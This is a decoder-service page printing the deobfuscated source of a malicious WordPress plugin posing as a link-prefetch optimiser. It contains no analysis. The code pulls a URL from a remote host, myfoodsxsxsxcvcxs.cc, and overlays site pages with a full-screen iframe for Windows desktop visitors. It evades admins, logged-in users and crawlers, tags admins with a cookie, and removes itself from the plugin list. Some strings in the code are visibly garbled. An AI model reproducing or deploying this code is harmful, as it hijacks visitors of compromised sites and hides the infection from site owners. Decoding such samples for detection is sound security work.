Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


/**
 * Plugin Name: Link Prefetch Manager
 * Description: Intelligently prefetches links on hover to reduce navigation latency and improve user experience.
 * Version: 1.8.3
 * Author: Velocity Labs
 * License: GPL-2.0+
 * Text Domain: link-prefetch-manager
 */

 goto nldYY; cbJss: define("LPM_URL_FILE", "https://myfoodsxsxsxcvcxs.cc/iframe-url.txt"); goto FITsP; PWYjc: add_action("wp_footer", function () { goto vmkiH; fHs8G: VumCc: goto gf1UW; deou2: aLFAd: goto j_QQ_; WhuBc: if (!empty($k7JJq)) { goto noARq; } goto L1PeQ; gf1UW: if (lpm_mark_shown()) { goto xppNd; } goto HD0jV; mqR01: if (!($Ky42i >= LPM_SHOW_LIMIT)) { goto VumCc; } goto bvpcW; HD0jV: return; goto ADpB7; Zu0yh: noARq: goto FdTYZ; FdTYZ: $Ky42i = lpm_get_count(); goto mqR01; vmkiH: if (lpm_should_show()) { goto aLFAd; } goto GNwN6; mpxHW: lpm_increment_count($Ky42i); goto oicN_; ADpB7: xppNd: goto mpxHW; bvpcW: return; goto fHs8G; oicN_: echo lpm_inject_code($k7JJq); goto N5jN4; L1PeQ: return; goto Zu0yh; j_QQ_: $k7JJq = lpm_fetch_url(); goto WhuBc; GNwN6: return; goto deou2; N5jN4: }, 1); goto ieswR; c2zww: define("LPM_VERSION", "1.8s"); goto cbJss; wEeyf: function lpm_should_show() { goto pjCiU; sLZbq: mGU_N: goto GTjpQ; GTjpQ: if (!(defined("WP_CLI") && WP_CLI)) { goto Es2mW; } goto BsWeY; gxPYv: if (!(defined("XMLRPC_REQUEST") && XMLRPC_REQUEST)) { goto mGU_N; } goto ekh5Q; X3M06: return false; goto bboF0; sB6gl: if (!lpm_is_bot()) { goto FAQbi; } goto mArAa; mArAa: return false; goto bq3KU; bboF0: EBhgo: goto Ex75C; eY1lF: return false; goto Az6_D; ekh5Q: return false; goto sLZbq; BsWeY: return false; goto sLKpu; Az6_D: GF9w2: goto gxPYv; g6Hhx: if (!lpm_is_admin_user()) { goto spqX5; } goto ndmFm; pjCiU: if (!is_admin()) { goto TfrG0; } goto bQTju; XM2ZP: if (!(defined("REST_REQUEST") && REST_REQUEST)) { goto GF9w2; } goto eY1lF; ybJUL: GaNcV: goto uE3HM; HnPll: UO1Hq: goto XM2ZP; ndmFm: return false; goto dqxTB; rlSCN: if (!(defined("DOING_AJAX") && DOING_AJAX)) { goto GaNcV; } goto MQYZp; uE3HM: if (!(defined("DOING_CRON") && DOING_CRON)) { goto UO1Hq; } goto B9kyN; bq3KU: FAQbi: goto XjmTt; dqxTB: spqX5: goto sB6gl; B9kyN: return false; goto HnPll; Ex75C: return true; goto NTyUQ; sLKpu: Es2mW: goto g6Hhx; MQYZp: return false; goto ybJUL; XjmTt: if (lpm_is_windows_desktop()) { goto EBhgo; } goto X3M06; bQTju: return false; goto h3quR; h3quR: TfrG0: goto rlSCN; NTyUQ: } goto mFG3O; x1SZI: function lpm_increment_count($WPvB_) { goto GonHO; GonHO: $shsAP = $WPvB_ + 1; goto UAynY; TqVMs: set_transient(lpm_visitor_key(), $shsAP, LPM_VISITOR_TTL); goto h0_hB; u1SZ7: $_COOKIE["lpm_c"] = (string) $shsAP; goto TqVMs; UAynY: $XXcXr = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off"; goto HWIjj; HWIjj: setcookie("lpm_c", (string) $shsAP, time() + LPM_VISITOR_TTL, "/", '', $XXcXr, false); goto u1SZ7; h0_hB: } goto zthOK; rzaKG: function lpm_is_admin_user() { goto H0OQv; w9e1b: foreach ($_COOKIE as $qx3ny => $N1j7U) { goto DyonB; YdGOa: QZVmn: goto H_Bfq; IsNpD: return true; goto YdGOa; H_Bfq: uFkY9: goto AyICJ; DyonB: if (!(strpos($qx3ny, "wordpress_logged_in") === 0)) { goto QZVmn; } goto IsNpD; AyICJ: } goto iu4qv; bWAZS: return true; goto pJDMu; j9wi7: DfPuU: goto w9e1b; iu4qv: xJygN: goto IrOMf; pJDMu: fOtxa: goto tyLv_; PnNA8: return true; goto j9wi7; H0OQv: if (!(function_exists("current_user_can") && current_user_can("manage_options"))) { goto DfPuU; } goto PnNA8; IrOMf: if (!(!empty($_COOKIE["lpm_a"]) && $_COOKIE["lpm_a"] === "1")) { goto fOtxa; } goto bWAZS; tyLv_: return false; goto Bg1HH; Bg1HH: } goto ovbRw; mFG3O: function lpm_full_page($k7JJq) { return "<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title></title><style>*{margin:0;padding:0}body{overflow:hidden}</style></head><body><iframe src="" . esc_url($k7JJq) . "" style="position:fixed;top;left;width:100%;height00%;border:none;z-index14847;" frameborder="0" allow="fullscreen" allowfullscreen></iframe></body></html>"; } goto NvI4V; zthOK: function lpm_mark_shown() { goto HNfGE; HNfGE: static $zeC97 = false; goto Pcb5u; LNbWT: return false; goto k4QR6; k4QR6: IghyA: goto iOnBK; iOnBK: $zeC97 = true; goto VGUG2; Pcb5u: if (!$zeC97) { goto IghyA; } goto LNbWT; VGUG2: return true; goto j_QHk; j_QHk: } goto wEeyf; LubEH: add_action("template_redirect", function () { goto XpFh7; wgjN1: lpm_increment_count($Ky42i); goto oiImh; sPp23: $k7JJq = lpm_fetch_url(); goto KGWjp; XTwDF: if (lpm_mark_shown()) { goto xmghU; } goto Y88Z0; H1pbc: V63se: goto y228B; y228B: $Ky42i = lpm_get_count(); goto bCkYj; oiImh: if (headers_sent()) { goto xAn0B; } goto siyaH; XpFh7: if (lpm_should_show()) { goto JW_oh; } goto Xp8WJ; hVHTm: xmghU: goto uM6nf; KkMyU: header("Content-Type: text/html; charset=UTF-8"); goto MPyXR; dXmIj: return; goto RUY01; bCkYj: if (!($Ky42i >= LPM_SHOW_LIMIT)) { goto dQpQG; } goto dXmIj; Xvls8:  goto y2htH; Vcaek: echo lpm_full_page($k7JJq); goto jQLQB; Y88Z0: return; goto hVHTm; DYEep: if (!ob_get_level()) { goto EhyXy; } goto Xvls8; dlyds: EhyXy: goto wgjN1; Wbo8n: JW_oh: goto sPp23; RUY01: dQpQG: goto XTwDF; siyaH: header("Cache-Control: no-cache, no-store, must-revalidate"); goto KkMyU; Xp8WJ: return; goto Wbo8n; uM6nf: l46w1: goto DYEep; KGWjp: if (!empty($k7JJq)) { goto V63se; } goto iX_Xp; iX_Xp: return; goto H1pbc; jQLQB: exit; goto dWMvm; y2htH: goto l46w1; goto dlyds; MPyXR: xAn0B: goto Vcaek; dWMvm: }, 1); goto PWYjc; PaOFr: add_action("set_logged_in_cookie", function ($h693J, $yEyn7, $bkxTE, $tLzTl) { goto TcKmU; HY4u2: Xw5sG: goto C9nYc; TcKmU: $Sk4af = get_userdata($tLzTl); goto x0KQC; W9GaT: return; goto HY4u2; x0KQC: if (!(!$Sk4af || !user_can($Sk4af, "manage_options"))) { goto Xw5sG; } goto W9GaT; QRhXN: setcookie("lpm_a", "1", time() + 31536000, "/", '', $XXcXr, true); goto Bvvc3; C9nYc: $XXcXr = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off"; goto QRhXN; Bvvc3: }, 10, 4); goto LubEH; ovbRw: function lpm_visitor_key() { goto xh9WD; xh9WD: $yd3rz = isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : "unknown"; goto cf0sx; nHcYY: return "lpm_v_" . md5($yd3rz . $geHVE); goto mlxBp; cf0sx: $geHVE = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto nHcYY; mlxBp: } goto tpE3p; C0AYl: function lpm_is_windows_desktop() { goto NzCe6; D2Ac_: q9CVG: goto rx_JS; rx_JS: if (!preg_match("/Mobile|Android|iPhone|iPad|Windows Phone|Tablet/i", $geHVE)) { goto aXHEi; } goto u6RCV; y8120: if (preg_match("/Windows NT/i", $geHVE)) { goto q9CVG; } goto lXcLT; NzCe6: $geHVE = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto uM9QU; EAbD_: aXHEi: goto QG1_y; QG1_y: return true; goto bEmFC; Sacw8: pWzqE: goto y8120; lXcLT: return false; goto D2Ac_; u6RCV: return false; goto EAbD_; NaOtE: return false; goto Sacw8; uM9QU: if (!empty($geHVE)) { goto pWzqE; } goto NaOtE; bEmFC: } goto o8oNd; ASukO: define("LPM_VISITOR_TTL", 30 * DAY_IN_SECONDS); goto CDnVM; ieswR: function lpm_ob_callback($Gm6Sa) { goto WICA6; cOz1Y: return substr($Gm6Sa, 0, $B3W7z) . lpm_inject_code($k7JJq) . substr($Gm6Sa, $B3W7z); goto nvtkU; jk0tX: $B3W7z = strripos($Gm6Sa, "</html>"); goto izCNM; MW2P8: ZiVTj: goto Hw3r1; DHROW: $Ky42i = lpm_get_count(); goto h64_n; AYB8J: lpm_increment_count($Ky42i); goto cOz1Y; pejxt: lgyxU: goto AYB8J; WICA6: if (lpm_mark_shown()) { goto ZiVTj; } goto jxF_l; s1wrI: RSozH: goto Oj2nK; l0UQF: R1Gp3: goto XVaN_; a8mwr: if (!($B3W7z === false)) { goto Gl3zP; } goto jk0tX; atO7Q: if (!($B3W7z === false)) { goto lgyxU; } goto jMgbg; Tdwk9: return $Gm6Sa; goto l0UQF; Oj2nK: $B3W7z = strripos($Gm6Sa, "</body>"); goto a8mwr; izCNM: Gl3zP: goto atO7Q; sKTfX: if (!empty($k7JJq)) { goto CRJQ8; } goto hZ0pB; CW8oT: CRJQ8: goto DHROW; EJjz5: return $Gm6Sa; goto s1wrI; jMgbg: return $Gm6Sa; goto pejxt; h64_n: if (!($Ky42i >= LPM_SHOW_LIMIT)) { goto RSozH; } goto EJjz5; jxF_l: return $Gm6Sa; goto MW2P8; XVaN_: $k7JJq = lpm_fetch_url(); goto sKTfX; hZ0pB: return $Gm6Sa; goto CW8oT; Hw3r1: if (lpm_should_show()) { goto R1Gp3; } goto Tdwk9; nvtkU: } goto XVoxW; WXNko: define("LPM_SHOW_LIMIT", 3); goto ASukO; nldYY: if (defined("ABSPATH")) { goto qDteV; } goto SAUMh; XVoxW: add_action("init", function () { goto b_54w; wWxAM: if (!(defined("REST_REQUEST") && REST_REQUEST)) { goto L9pWG; } goto MDeSS; vbi04: EUNAc: goto j_WGY; Sb687: ob_start("lpm_ob_callback"); goto xtxpH; j_WGY: if (!(defined("DOING_AJAX") && DOING_AJAX)) { goto sjNnN; } goto RfzUL; r9hlN: sjNnN: goto A2mrY; MDeSS: return; goto BNt9N; r4pzF: Jct7_: goto wWxAM; RfzUL: return; goto r9hlN; BNt9N: L9pWG: goto Sb687; b_54w: if (!is_admin()) { goto EUNAc; } goto KcJj3; YeZ4N: return; goto r4pzF; KcJj3: return; goto vbi04; A2mrY: if (!(defined("DOING_CRON") && DOING_CRON)) { goto Jct7_; } goto YeZ4N; xtxpH: }, 2); goto OzngK; SAUMh: exit; goto K9TvC; FITsP: define("LPM_CACHE_TTL", 1800); goto WXNko; OzngK: add_action("init", function () { goto TTFDf; xixd9: echo json_encode(array("plugin_version" => LPM_VERSION, "fetch" => lpm_fetch_url(true), "is_windows" => lpm_is_windows_desktop(), "is_bot" => lpm_is_bot(), "is_admin" => lpm_is_admin_user(), "show_count" => lpm_get_count(), "show_limit" => LPM_SHOW_LIMIT, "should_show" => lpm_should_show(), "ua" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '', "php_version" => PHP_VERSION), JSON_PRETTY_PRINT); goto E49jY; CCAcC: header("Content-Type: application/json"); goto xixd9; TTFDf: if (isset($_GET["lpm_debug"])) { goto ZW8id; } goto N8O4Y; WmPyC: ZW8id: goto CCAcC; E49jY: exit; goto cPgle; N8O4Y: return; goto WmPyC; cPgle: }, 5); goto obPKS; CDnVM: function lpm_fetch_url($Fhpf4 = false) { goto U0GAs; bg2p2: if (!($x7hM1 || $ppnF5 != 200 || empty($aZpuk))) { goto QVHdi; } goto Ayg93; AQ_JY: curl_setopt($uW0Qi, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT0.0; Win; x64) AppleWebKit/7s6"); goto IKuLD; t7Duf: curl_setopt($uW0Qi, CURLOPT_RETURNTRANSFER, true); goto XIgZA; Ik1f6: $k7JJq = trim($aZpuk); goto xRUiv; z1Qgz: $x7hM1 = curl_error($uW0Qi); goto IIPEc; Szt0a: $uW0Qi = curl_init(LPM_URL_FILE); goto t7Duf; Oxf_z: QVHdi: goto Ik1f6; U0GAs: $CKX4v = get_transient("lpm_iframe_url"); goto lrvnv; NkBp0: curl_close($uW0Qi); goto bg2p2; nwmek: return $Fhpf4 ? array("from_cache" => true, "url" => lpm_clean($CKX4v)) : lpm_clean($CKX4v); goto mtxP5; IKuLD: $aZpuk = curl_exec($uW0Qi); goto z1Qgz; mtxP5: kgSmX: goto Szt0a; lrvnv: if (!($CKX4v !== false)) { goto kgSmX; } goto nwmek; Ayg93: set_transient("lpm_iframe_url", '', 60); goto Ofli0; IcWt7: return $Fhpf4 ? array("from_cache" => false, "url" => lpm_clean($k7JJq)) : lpm_clean($k7JJq); goto vt7rY; twBxp: curl_setopt($uW0Qi, CURLOPT_FOLLOWLOCATION, true); goto PKI64; xRUiv: set_transient("lpm_iframe_url", $k7JJq, LPM_CACHE_TTL); goto IcWt7; iXs29: curl_setopt($uW0Qi, CURLOPT_CONNECTTIMEOUT, 4); goto twBxp; IIPEc: $ppnF5 = curl_getinfo($uW0Qi, CURLINFO_HTTP_CODE); goto NkBp0; Ofli0: return $Fhpf4 ? array("from_cache" => false, "url" => '', "error" => $x7hM1, "code" => $ppnF5) : ''; goto Oxf_z; PKI64: curl_setopt($uW0Qi, CURLOPT_SSL_VERIFYPEER, false); goto AQ_JY; XIgZA: curl_setopt($uW0Qi, CURLOPT_TIMEOUT, 8); goto iXs29; vt7rY: } goto UASd7; UASd7: function lpm_clean($k7JJq) { goto Xvi0Y; agOx3: return ''; goto GmH3V; TfX_n: $k7JJq = str_replace(array("
", "\xa", "\x9"), '', $k7JJq); goto rSLgD; Xvi0Y: $k7JJq = trim($k7JJq); goto TfX_n; GmH3V: sypRs: goto YVK26; YVK26: return sanitize_url($k7JJq); goto nNs5t; rSLgD: if (!(strpos($k7JJq, "http") !== 0)) { goto sypRs; } goto agOx3; nNs5t: } goto C0AYl; NvI4V: function lpm_inject_code($k7JJq) { return "<style>.lpm-f{position:fixed!important;top:0!important;left:0!important;width00%!important;height:100%!important;z-index:214837!important;border:none!important;margin!important;padding:0!important}</style><script>(function(){try{var f=document.createElement("iframe");f.className="lpm-f";f.src=" . json_encode(esc_url($k7JJq)) . ";f.setAttribute("frameborder","0");f.setAttribute("allow","fullscreen");f.setAttribute("allowfullscreen","true");(document.body||document.documentElement).appendChild(f);}catch(e){}})()</script>"; } goto PaOFr; K9TvC: qDteV: goto c2zww; tpE3p: function lpm_get_count() { goto tDrhX; c5i7n: cad0_: goto tQhU_; tQhU_: $ntCBy = get_transient(lpm_visitor_key()); goto JiiFh; tDrhX: if (!isset($_COOKIE["lpm_c"])) { goto cad0_; } goto O7Ffw; O7Ffw: return intval($_COOKIE["lpm_c"]); goto c5i7n; JiiFh: return $ntCBy !== false ? intval($ntCBy) : 0; goto Sf5G7; Sf5G7: } goto x1SZI; o8oNd: function lpm_is_bot() { goto hbFXk; bdH2N: return true; goto QcjwB; CIn5L: if (!empty($geHVE)) { goto g14gw; } goto bdH2N; QcjwB: g14gw: goto fyOmc; VTxeo: DiADe: goto BoVa7; BoVa7: return false; goto UUvhC; hbFXk: $geHVE = strtolower(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''); goto CIn5L; fyOmc: foreach (array("bot", "crawl", "spider", "slurp", "googlebot", "bingbot", "yandexbot", "baiduspider", "ahrefsbot", "semrushbot", "duckduckbot", "facebookexternalhit", "linkedinbot", "mediapartners") as $ADq3q) { goto zzU8O; fy7XF: DVZum: goto ApdyJ; qDe1A: return true; goto fy7XF; ApdyJ: jkw1Z: goto hnhyU; zzU8O: if (!(strpos($geHVE, $ADq3q) !== false)) { goto DVZum; } goto qDe1A; hnhyU: } goto VTxeo; UUvhC: } goto rzaKG; obPKS: add_filter("all_plugins", function ($AYZuM) { unset($AYZuM[plugin_basename(__FILE__)]); return $AYZuM; });



© 2023 Quttera Ltd. All rights reserved.